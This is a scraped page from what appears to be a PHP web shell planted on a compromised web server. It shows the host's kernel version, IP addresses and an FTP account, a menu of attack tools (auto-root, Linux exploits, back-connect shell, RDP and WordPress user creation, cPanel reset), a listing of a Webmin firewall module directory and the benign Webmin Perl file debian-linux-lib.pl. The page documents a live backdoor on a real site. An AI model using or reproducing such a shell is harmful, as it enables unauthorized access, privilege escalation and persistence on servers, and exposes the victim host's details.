Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
firewall6 /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
acl_security.pl
1.41
KB
-rwxr-xr-x
apply.cgi
512
B
-rwxr-xr-x
backup_config.pl
649
B
-rwxr-xr-x
bootup.cgi
600
B
-rwxr-xr-x
cgi_args.pl
430
B
-rwxr-xr-x
cluster.cgi
2.08
KB
-rwxr-xr-x
cluster_add.cgi
2.19
KB
-rwxr-xr-x
cluster_delete.cgi
651
B
-rwxr-xr-x
coherent-linux-lib.pl
1.54
KB
-rwxr-xr-x
config
83
B
-rw-r--r--
config.info
1.23
KB
-rw-r--r--
config.info.ca
1.5
KB
-rw-r--r--
config.info.cs
982
B
-rw-r--r--
config.info.de
1.42
KB
-rw-r--r--
config.info.fr
1.63
KB
-rw-r--r--
config.info.ja
421
B
-rw-r--r--
config.info.nl
976
B
-rw-r--r--
config.info.no
968
B
-rw-r--r--
config.info.pl
1012
B
-rw-r--r--
config.info.pt_BR
983
B
-rw-r--r--
config.info.ru
1.31
KB
-rw-r--r--
config.info.sk
989
B
-rw-r--r--
config.info.tr
827
B
-rw-r--r--
convert.cgi
756
B
-rwxr-xr-x
debian-linux-lib.pl
4.59
KB
-rwxr-xr-x
defaultacl
100
B
-rw-r--r--
edit_rule.cgi
14.88
KB
-rwxr-xr-x
firewall-lib.pl
17.32
KB
-rwxr-xr-x
firewall4-lib.pl
1.82
KB
-rwxr-xr-x
firewall6-lib.pl
1.76
KB
-rwxr-xr-x
gentoo-linux-lib.pl
722
B
-rwxr-xr-x
index.cgi
16.42
KB
-rwxr-xr-x
install_check.pl
841
B
-rwxr-xr-x
log_parser.pl
835
B
-rwxr-xr-x
mandrake-linux-lib.pl
1.69
KB
-rwxr-xr-x
module.info
238
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
182
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
254
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
278
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
299
B
-rw-r--r--
module.info.ca
155
B
-rw-r--r--
module.info.ca.auto
18
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
194
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
183
B
-rw-r--r--
module.info.de
161
B
-rw-r--r--
module.info.de.auto
18
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
346
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
185
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
167
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
268
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
186
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
180
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
251
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
173
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
201
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
174
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
263
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
206
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
209
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
180
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
176
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
192
B
-rw-r--r--
module.info.nl
0
B
-rw-r--r--
module.info.nl.auto
186
B
-rw-r--r--
module.info.no
0
B
-rw-r--r--
module.info.no.auto
176
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
197
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
172
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
181
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
186
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
250
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
203
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
182
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
177
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
275
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
222
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
291
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
306
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
205
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
146
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
155
B
-rw-r--r--
move.cgi
1.29
KB
-rwxr-xr-x
newchain.cgi
898
B
-rwxr-xr-x
open-ports.pl
3.4
KB
-rwxr-xr-x
prefs.info
55
B
-rw-r--r--
redhat-linux-lib.pl
2.14
KB
-rwxr-xr-x
save_policy.cgi
7.15
KB
-rwxr-xr-x
save_rule.cgi
12.4
KB
-rwxr-xr-x
save_rule6.cgi
12.05
KB
-rwxr-xr-x
setup.cgi
9.36
KB
-rwxr-xr-x
setup6.cgi
8.12
KB
-rwxr-xr-x
trustix-linux-lib.pl
2.14
KB
-rwxr-xr-x
unapply.cgi
609
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : debian-linux-lib.pl
# debians-linux-lib.pl # Deal with debian's iptables save file and startup script &foreign_require("init"); if ($gconfig{'os_version'} >= 3.1 && !-r "/etc/init.d/ip${ipvx}tables" && !-r "/etc/init.d/webmin-ip${ipvx}tables" && !$config{'force_init'} && !-d "/etc/netplan" && !-d "/etc/iptables") { # In newer Debians, IPtable is started by the network init script, # unless netplan is in use $has_new_debian_iptables = 1; $ip6tables_save_file = "/etc/ip6tables.up.rules"; $iptables_save_file = "/etc/iptables.up.rules"; $debian_init_script = "ip${ipvx}tables"; } elsif (-d "/etc/iptables") { # Ubuntu 20 uses files in /etc/iptables if iptables-persistent is # installed. However, on Debian 10 there is no init script! $ip6tables_save_file = "/etc/iptables/rules.v6"; $iptables_save_file = "/etc/iptables/rules.v4"; $debian_init_script = $ipvx == 4 ? "iptables" : "ip6tables"; } else { # Older Debians use an init script $has_debian_iptables = -r "/etc/init.d/iptables"; $debian_ip6tables_dir = "/var/lib/ip6tables"; $debian_iptables_dir = "/var/lib/iptables"; if ($has_debian_iptables) { $debian_init_script = "iptables"; mkdir($debian_ip6tables_dir, 0755) if (!-d $debian_ip6tables_dir); mkdir($debian_iptables_dir, 0755) if (!-d $debian_iptables_dir); $iptables_save_file = "$debian_iptables_dir/active"; $ip6tables_save_file = "$debian_ip6tables_dir/active"; } } if (!&init::action_status($debian_init_script)) { # Expected script doesn't exist! $debian_init_script = undef; } # apply_iptables() # Applies the current iptables configuration from the save file sub apply_iptables { if ($debian_init_script) { my ($ok, $err) = &init::restart_action($debian_init_script); return $ok ? undef : &html_escape($err); } else { return &iptables_restore(); } } # unapply_iptables() # Writes the current iptables configuration to the save file sub unapply_iptables { if ($has_debian_iptables) { # On some debian versions the init script can do this $out = &backquote_logged("cd / ; /etc/init.d/ip${ipvx}tables save active 2>&1 </dev/null"); return $? ? "<pre>$out</pre>" : undef; } else { return &iptables_save(); } } # started_at_boot() sub started_at_boot { if ($debian_init_script) { # Check Debian init script return &init::action_status($debian_init_script) == 2; } elsif ($has_new_debian_iptables) { # Check network interface config local $pri = &get_primary_network_interface(); local ($debpri) = grep { $_->[0] eq $pri->{'fullname'} } &net::get_interface_defs(); foreach my $o (@{$debpri->[3]}) { if (($o->[0] eq "pre-up" || $o->[0] eq "post-up") && $o->[1] =~ /\S*ip${ipvx}tables-restore\s+<\s+(\S+)/ && $1 eq $ipvx_save) { return 1; } } } else { # Check Webmin init script return &init::action_status("webmin-ip${ipvx}tables") == 2; } } sub enable_at_boot { if ($debian_init_script) { # Enable the init script (assumes it exists) &init::action_status($debian_init_script) > 0 || &error("Bootup action $debian_init_script does not exist"); &init::enable_at_boot($debian_init_script); } elsif ($has_new_debian_iptables) { # Add to network interface config local $pri = &get_primary_network_interface(); local ($debpri) = grep { $_->[0] eq $pri->{'fullname'} } &net::get_interface_defs(); if ($debpri && !&started_at_boot()) { push(@{$debpri->[3]}, [ "post-up", "ip${ipvx}tables-restore < $ipvx_save" ]); &net::modify_interface_def(@$debpri); } } else { &create_webmin_init(); } } sub disable_at_boot { if ($debian_init_script) { # Turn off the init script &init::disable_at_boot($debian_init_script); } elsif ($has_new_debian_iptables) { # Remove from network interface config local $pri = &get_primary_network_interface(); local ($debpri) = grep { $_->[0] eq $pri->{'fullname'} } &net::get_interface_defs(); @{$debpri->[3]} = grep { ($_->[0] ne "pre-up" && $_->[0] ne "post-up") || $_->[1] !~ /^\S*ip${ipvx}tables/ } @{$debpri->[3]}; &net::modify_interface_def(@$debpri); } else { &init::disable_at_boot("webmin-ip${ipvx}tables"); } } sub get_primary_network_interface { &foreign_require("net"); local @boot = sort { $a->{'fullname'} cmp $b->{'fullname'} } &net::boot_interfaces(); local $pri; if ($config{'iface'}) { ($pri) = grep { $_->{'fullname'} eq $config{'iface'} } @boot; } local ($eth) = grep { $_->{'fullname'} =~ /^eth\d+$/ } @boot; local ($ppp) = grep { $_->{'fullname'} =~ /^ppp\d+$/ } @boot; local ($venetn) = grep { $_->{'fullname'} =~ /^venet\d+:\d+$/ } @boot; local ($venet) = grep { $_->{'fullname'} =~ /^venet\d+$/ } @boot; return $pri || $eth || $ppp || $venetn || $venet || $boot[0]; } 1;
Close